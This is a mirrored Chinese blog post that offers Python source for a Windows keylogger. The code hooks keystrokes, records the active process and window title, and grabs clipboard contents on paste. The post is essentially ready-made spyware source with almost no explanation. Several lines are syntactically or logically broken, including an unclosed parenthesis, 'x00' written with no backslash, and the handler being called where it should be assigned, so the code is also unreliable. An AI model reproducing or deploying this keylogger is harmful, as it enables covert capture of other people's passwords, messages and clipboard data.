zoukankan      html  css  js  c++  java
  • Python 键盘记录

        之前写的键盘记录最后一直在纠结弹框与不弹框的问题,代码找不到了,今天重新来一遍

    #!/usr/bin/env python
    # -*-coding:utf-8 -*-


    from ctypes import *
    import pythoncom
    import pyHook
    import win32clipboard


    user32 = windll.user32
    kernel32 = windll.kernel32
    psapi = windll.psapi
    current_window = None


    def get_current_process():
        hwnd = user32.GetForegroundWindow()
        pid = c_ulong(0)
        user32.GetWindowThreadProcessID(hwnd,byref(pid))
        process_id = "%d" % pid.value
        executable = create_string_buffer("x00" * 512)
        h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid)
        psapi.GetModuleBaseName(h_process,None, byref(executable),512)
        window_title =create_string_buffer("x00" * 512)
        length = user32.GetWindowTextA(hwnd,byref(window_title),512
        print " [PID:%s-%s-%s]" % (process_id,executable.value,window_title.value)
        kernel32.CloseHandle(hwnd)
        kernel32.CloseHandle(h_process)


    def KeyStroke(event):
        global current_window
        if event.WindowName != current_window:
            current_window = event.WindowName
            get_current_process()
        if event.Ascii > 32 and event.Ascii < 127:
            print chr(event.Ascii),
        else:
            if event.Key == "V":
                win32clipboard.OpenClipboard()
                pasted_value = win32clipboard.GetClipboardData()
                win32clipboard.CloseClipboard()
                print "[PASTE]-%s " % (pasted_value),
            else:
                print "[%s]" % event.Key,
        return True


    kl = pyHook.HookManager()
    kl.KeyDown = KeyStroke()

    kl.HookKeyboard()
    pythoncom.PumpMessages()

       

  • 相关阅读:
    MySQL 中 InnoDB 支持的四种事务隔离级别名称,以及逐 级之间的区别?
    NOW()和 CURRENT_DATE()有什么区别?
    什么是非标准字符串类型?
    列的字符串类型可以是什么?
    实践中如何优化 MySQL ?
    可以使用多少列创建索引?
    数据库中的事务是什么?
    锁的优化策略?
    SQL 注入漏洞产生的原因?如何防止?
    强调事项段、其他事项段、关键审计事项
  • 原文地址:https://www.cnblogs.com/Lightening2/p/6032099.html
Copyright © 2011-2022 走看看